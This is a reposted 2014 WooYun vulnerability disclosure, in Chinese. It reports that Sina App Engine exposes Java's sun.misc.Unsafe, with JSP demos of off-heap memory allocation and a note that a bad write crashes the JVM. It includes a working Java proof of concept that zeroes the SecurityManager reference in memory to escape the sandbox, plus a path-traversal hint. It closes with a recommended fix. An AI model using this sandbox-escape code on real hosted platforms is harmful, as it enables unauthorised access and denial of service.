记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

SAE允许JVM内存对象直接读写操作

2014-10-01 04:50

//本来想写篇文章的,但怕牵扯到某些公司云沙盒环境





sun.misc.Unsafe是当年sun公司操作内存的内部API,没有公开.有些JDK已经去掉了这个类.但大部分的jdk依然保留着.







sun.misc.Unsafe看名字就知道,不安全的.反编译的大致源码:





package sun.misc;



import java.lang.reflect.Field;

import java.lang.reflect.Modifier;

import java.security.ProtectionDomain;

import sun.reflect.Reflection;



public final class Unsafe

{

private static final Unsafe theUnsafe;

public static final int INVALID_FIELD_OFFSET = -1;



private static native void registerNatives();



public static Unsafe getUnsafe()

{

Class localClass = Reflection.getCallerClass(2);

if (localClass.getClassLoader() != null)

throw new SecurityException("Unsafe");

return theUnsafe;

}



public native int getInt(Object paramObject, long paramLong);



public native void putInt(Object paramObject, long paramLong, int paramInt);



public native Object getObject(Object paramObject, long paramLong);



public native void putObject(Object paramObject1, long paramLong, Object paramObject2);



public native boolean getBoolean(Object paramObject, long paramLong);



public native void putBoolean(Object paramObject, long paramLong, boolean paramBoolean);



public native byte getByte(Object paramObject, long paramLong);



public native void putByte(Object paramObject, long paramLong, byte paramByte);



public native short getShort(Object paramObject, long paramLong);



public native void putShort(Object paramObject, long paramLong, short paramShort);



public native char getChar(Object paramObject, long paramLong);



public native void putChar(Object paramObject, long paramLong, char paramChar);



public native long getLong(Object paramObject, long paramLong);



public native void putLong(Object paramObject, long paramLong1, long paramLong2);



public native float getFloat(Object paramObject, long paramLong);



public native void putFloat(Object paramObject, long paramLong, float paramFloat);



public native double getDouble(Object paramObject, long paramLong);



public native void putDouble(Object paramObject, long paramLong, double paramDouble);



@Deprecated

public int getInt(Object paramObject, int paramInt)

{

return getInt(paramObject, paramInt);

}



@Deprecated

public void putInt(Object paramObject, int paramInt1, int paramInt2)

{

putInt(paramObject, paramInt1, paramInt2);

}



@Deprecated

public Object getObject(Object paramObject, int paramInt)

{

return getObject(paramObject, paramInt);

}



@Deprecated

public void putObject(Object paramObject1, int paramInt, Object paramObject2)

{

putObject(paramObject1, paramInt, paramObject2);

}



@Deprecated

public boolean getBoolean(Object paramObject, int paramInt)

{

return getBoolean(paramObject, paramInt);

}



@Deprecated

public void putBoolean(Object paramObject, int paramInt, boolean paramBoolean)

{

putBoolean(paramObject, paramInt, paramBoolean);

}



@Deprecated

public byte getByte(Object paramObject, int paramInt)

{

return getByte(paramObject, paramInt);

}



@Deprecated

public void putByte(Object paramObject, int paramInt, byte paramByte)

{

putByte(paramObject, paramInt, paramByte);

}



@Deprecated

public short getShort(Object paramObject, int paramInt)

{

return getShort(paramObject, paramInt);

}



@Deprecated

public void putShort(Object paramObject, int paramInt, short paramShort)

{

putShort(paramObject, paramInt, paramShort);

}



@Deprecated

public char getChar(Object paramObject, int paramInt)

{

return getChar(paramObject, paramInt);

}



@Deprecated

public void putChar(Object paramObject, int paramInt, char paramChar)

{

putChar(paramObject, paramInt, paramChar);

}



@Deprecated

public long getLong(Object paramObject, int paramInt)

{

return getLong(paramObject, paramInt);

}



@Deprecated

public void putLong(Object paramObject, int paramInt, long paramLong)

{

putLong(paramObject, paramInt, paramLong);

}



@Deprecated

public float getFloat(Object paramObject, int paramInt)

{

return getFloat(paramObject, paramInt);

}



@Deprecated

public void putFloat(Object paramObject, int paramInt, float paramFloat)

{

putFloat(paramObject, paramInt, paramFloat);

}



@Deprecated

public double getDouble(Object paramObject, int paramInt)

{

return getDouble(paramObject, paramInt);

}



@Deprecated

public void putDouble(Object paramObject, int paramInt, double paramDouble)

{

putDouble(paramObject, paramInt, paramDouble);

}



public native byte getByte(long paramLong);



public native void putByte(long paramLong, byte paramByte);



public native short getShort(long paramLong);



public native void putShort(long paramLong, short paramShort);



public native char getChar(long paramLong);



public native void putChar(long paramLong, char paramChar);



public native int getInt(long paramLong);



public native void putInt(long paramLong, int paramInt);



public native long getLong(long paramLong);



public native void putLong(long paramLong1, long paramLong2);



public native float getFloat(long paramLong);



public native void putFloat(long paramLong, float paramFloat);



public native double getDouble(long paramLong);



public native void putDouble(long paramLong, double paramDouble);



public native long getAddress(long paramLong);



public native void putAddress(long paramLong1, long paramLong2);



public native long allocateMemory(long paramLong);



public native long reallocateMemory(long paramLong1, long paramLong2);



public native void setMemory(long paramLong1, long paramLong2, byte paramByte);



public native void copyMemory(Object paramObject1, long paramLong1, Object paramObject2, long paramLong2, long paramLong3);



public void copyMemory(long paramLong1, long paramLong2, long paramLong3)

{

copyMemory(null, paramLong1, null, paramLong2, paramLong3);

}



public native void freeMemory(long paramLong);



@Deprecated

public int fieldOffset(Field paramField)

{

if (Modifier.isStatic(paramField.getModifiers())) {

return (int)staticFieldOffset(paramField);

}

return (int)objectFieldOffset(paramField);

}



@Deprecated

public Object staticFieldBase(Class paramClass)

{

Field[] arrayOfField = paramClass.getDeclaredFields();

for (int i = 0; i < arrayOfField.length; i++) {

if (Modifier.isStatic(arrayOfField[i].getModifiers())) {

return staticFieldBase(arrayOfField[i]);

}

}

return null;

}



public native long staticFieldOffset(Field paramField);



public native long objectFieldOffset(Field paramField);



public native Object staticFieldBase(Field paramField);



public native void ensureClassInitialized(Class paramClass);



public native int arrayBaseOffset(Class paramClass);



public native int arrayIndexScale(Class paramClass);



public native int addressSize();



public native int pageSize();



public native Class defineClass(String paramString, byte[] paramArrayOfByte, int paramInt1, int paramInt2, ClassLoader paramClassLoader, ProtectionDomain paramProtectionDomain);



public native Class defineClass(String paramString, byte[] paramArrayOfByte, int paramInt1, int paramInt2);



public native Object allocateInstance(Class paramClass)

throws InstantiationException;



public native void monitorEnter(Object paramObject);



public native void monitorExit(Object paramObject);



public native boolean tryMonitorEnter(Object paramObject);



public native void throwException(Throwable paramThrowable);



public final native boolean compareAndSwapObject(Object paramObject1, long paramLong, Object paramObject2, Object paramObject3);



public final native boolean compareAndSwapInt(Object paramObject, long paramLong, int paramInt1, int paramInt2);



public final native boolean compareAndSwapLong(Object paramObject, long paramLong1, long paramLong2, long paramLong3);



public native Object getObjectVolatile(Object paramObject, long paramLong);



public native void putObjectVolatile(Object paramObject1, long paramLong, Object paramObject2);



public native int getIntVolatile(Object paramObject, long paramLong);



public native void putIntVolatile(Object paramObject, long paramLong, int paramInt);



public native boolean getBooleanVolatile(Object paramObject, long paramLong);



public native void putBooleanVolatile(Object paramObject, long paramLong, boolean paramBoolean);



public native byte getByteVolatile(Object paramObject, long paramLong);



public native void putByteVolatile(Object paramObject, long paramLong, byte paramByte);



public native short getShortVolatile(Object paramObject, long paramLong);



public native void putShortVolatile(Object paramObject, long paramLong, short paramShort);



public native char getCharVolatile(Object paramObject, long paramLong);



public native void putCharVolatile(Object paramObject, long paramLong, char paramChar);



public native long getLongVolatile(Object paramObject, long paramLong);



public native void putLongVolatile(Object paramObject, long paramLong1, long paramLong2);



public native float getFloatVolatile(Object paramObject, long paramLong);



public native void putFloatVolatile(Object paramObject, long paramLong, float paramFloat);



public native double getDoubleVolatile(Object paramObject, long paramLong);



public native void putDoubleVolatile(Object paramObject, long paramLong, double paramDouble);



public native void putOrderedObject(Object paramObject1, long paramLong, Object paramObject2);



public native void putOrderedInt(Object paramObject, long paramLong, int paramInt);



public native void putOrderedLong(Object paramObject, long paramLong1, long paramLong2);



public native void unpark(Object paramObject);



public native void park(boolean paramBoolean, long paramLong);



public native int getLoadAverage(double[] paramArrayOfDouble, int paramInt);



static

{

registerNatives();



theUnsafe = new Unsafe();

}

}







看到我们是无法去new这个类的,但是看到最后几行:





static

{

registerNatives();



theUnsafe = new Unsafe();

}





默认是由于自己初始化的,它有个 (private static final Unsafe theUnsafe;)theUnsafe属性,那我们可以用反射去调用它了.





Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");

field.setAccessible(true);

Unsafe unsafe = (sun.misc.Unsafe) field.get(null);//获取实例





有人说它是sun公司留下的后门,呵呵!













漏洞证明:

SAE使用的openjdk也有这个类,且没有禁用掉.









用unsafe去申请1个字节的内存,并赋值123456:















index.jsp:





<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%@ page language="java" import="java.lang.reflect.Field,sun.misc.Unsafe" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<title></title>

</head>

<body>







<%







java.lang.reflect.Fieldfield = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");



field.setAccessible(true);



sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);





long address=unsafe.allocateMemory(1);



long value=123456;



unsafe.putLong(address, value);









%>



申请的地址: <%= address%><br>



获取地址填充的值123456: <%= unsafe.getAddress(address)%><br>



释放内存:<% unsafe.freeMemory(address);%>******<br>





获取地址填充的值123456: <%= unsafe.getAddress(address)%>





</body>

</html>





http://unsafe1.sinaapp.com/







1.png









申请的地址: 140193168417552,可以看到地址是140193168417552,根我想像的云环境内存分配不一样,没有隔离内存.



我大致计算了一下,大概:130565个G=140193168417552/(1024*1024*1024)



大概是我们应用所在环境的内存使用总量,可以多刷新自己看看变化幅度.







2.png





创建java应用,JVM上限是1个G.但能使用unsafe这个类,这就不对了!





long address=unsafe.allocateMemory(1024*1024*1700);



申请1.7G内存:



http://unsafe1.sinaapp.com/1700M_allocateMemory.jsp







1700M_allocateMemory.jsp



java.lang.reflect.Fieldfield = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");



field.setAccessible(true);



sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);





long address=unsafe.allocateMemory(1024*1024*1700);











3.png







由于操作系统限制,JVM申请内存在这个版本的Linux是2G左右(我win环境下,大概是1个G多点),超过就报错!







4.png









注意Unsafe申请的内存不是由JVM管理的,是由创建者自己去管理.使用Runtime.maxMemory(); 是无法查看到它的.



所以用Runtime.maxMemory(); 是无法查看的.其实JVM也是调用它去申请内存,只不过我这里是直接调用它.







我们去随意写个错误地址:unsafe.putLong(11111, 1);会让JVM直接挂掉的.







5.png















除了内存信息泄露及内存使用越权外,似乎没什么用了,因为内存中每个JVM是隔离的.但注意,可以读写JVM的内存,那我们可以读写JVM中每个对象,对的,能读写SecurityManager这个对象.











SAE沙盒环境是重写jdk默认自带的SecurityManager类(安全管理器类).



http://unsafe1.sinaapp.com/securityManager.jsp









securityManager.jsp



<%=System.getSecurityManager()%>









6.png









jdk默认沙盒环境(包括applet),也是不允许访问这个类的(连所在包都是不允许的):





7.png









8.png









而SAE重写SecurityManager这个类时,正好漏掉了这层限制...









原理:获取沙盒对象地址,从JVM的内存中去掉(填充为0),从而去掉沙盒限制!



以下是我在这一场景的bypass沙盒环境测试demo.由于对内存读写不熟悉,仓促完成了32位HotSpot(TM)jdk粗糙PoC,SAE 64位openjdk 的PoC待有缘人去完成它!







MySecurityManager.java



import java.security.Permission;









public class MySecurityManager extends SecurityManager {







private String path="C:\\sandbox"; //win环境,安全路径限制示例



public void setPath(String path) {

this.path = path;

}







@Override

public void checkRead(String file) { //此为测试demo,file操作存在其他绕过,不要模仿



System.out.println("file:"+file);



//System.out.println("path:"+this.path);





if (!file.startsWith(this.path)) {



throw new SecurityException("沙盒安全目录限制...");



}



}







//这里重写checkPermission方法,破坏原有权限结构;开放相关权限





/* */@Override

public void checkPermission(Permission perm) {







}











}







Test.java



import java.io.FileInputStream;

import java.lang.reflect.Field;

import sun.misc.Unsafe;



public class Test {









public static long normalize(int value) {





// System.out.println(value);

if(value >= 0) return value;



return (~0L >>> 32) & value;



}





public static long toAddress(Unsafe unsafe,Object obj) {



Object[] array = new Object[] {obj};



long baseOffset = unsafe.arrayBaseOffset(Object[].class);





//System.out.println(baseOffset);



return normalize(unsafe.getInt(array, baseOffset));



/*

int baseOffset = unsafe.arrayBaseOffset(Object[].class);



return normalize(unsafe.getInt(array,baseOffset ));

*/



}







public static void disableSecurity() throws Exception {









Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");

field.setAccessible(true);

Unsafe unsafe = (sun.misc.Unsafe) field.get(null);





long address=unsafe.allocateMemory(1);







long sys =toAddress(unsafe,java.lang.System.class);





long sm =toAddress(unsafe,java.lang.System.getSecurityManager());







sys=unsafe.getAddress(sys+4L);









/* */



for (int i = 0; i < 1000000; i++) {



long addr = sys + i * 4;

long val =unsafe.getAddress(addr);



if (val == sm) {



unsafe.putAddress(addr, 0);



if (System.getSecurityManager() == null) {



System.out.println("SecurityManager关闭!!!");



break;

}



}





}







}







public static void main(String[] args) throws Exception {







System.out.println("sys "+System.getProperty("sun.arch.data.model")+" bit");





MySecurityManager mySecurityManager=new MySecurityManager();







System.setSecurityManager(mySecurityManager);





if (System.getSecurityManager() != null) {



System.out.println("SecurityManager启动!!!");





}





//关掉沙盒

Test.disableSecurity();







/*



bypass 1: 代码不严谨,没有处理路径回溯符/../



*/



FileInputStream fis = new FileInputStream("C:\\1.log");



//FileInputStream fis = new FileInputStream("C:\\sandbox\\..\\1.log");







System.out.println(fis.read());//读取一个字节























}



}









9.png















10.png

























修复方案:

最好限制这个包:sun.misc.*访问!(由于百度BAE欠费,就没测试它.至于GAE,我相信他们是禁用了这个类)


知识来源: www.wooyun.org/bugs/wooyun-2014-072739

阅读:98376 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“SAE允许JVM内存对象直接读写操作”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云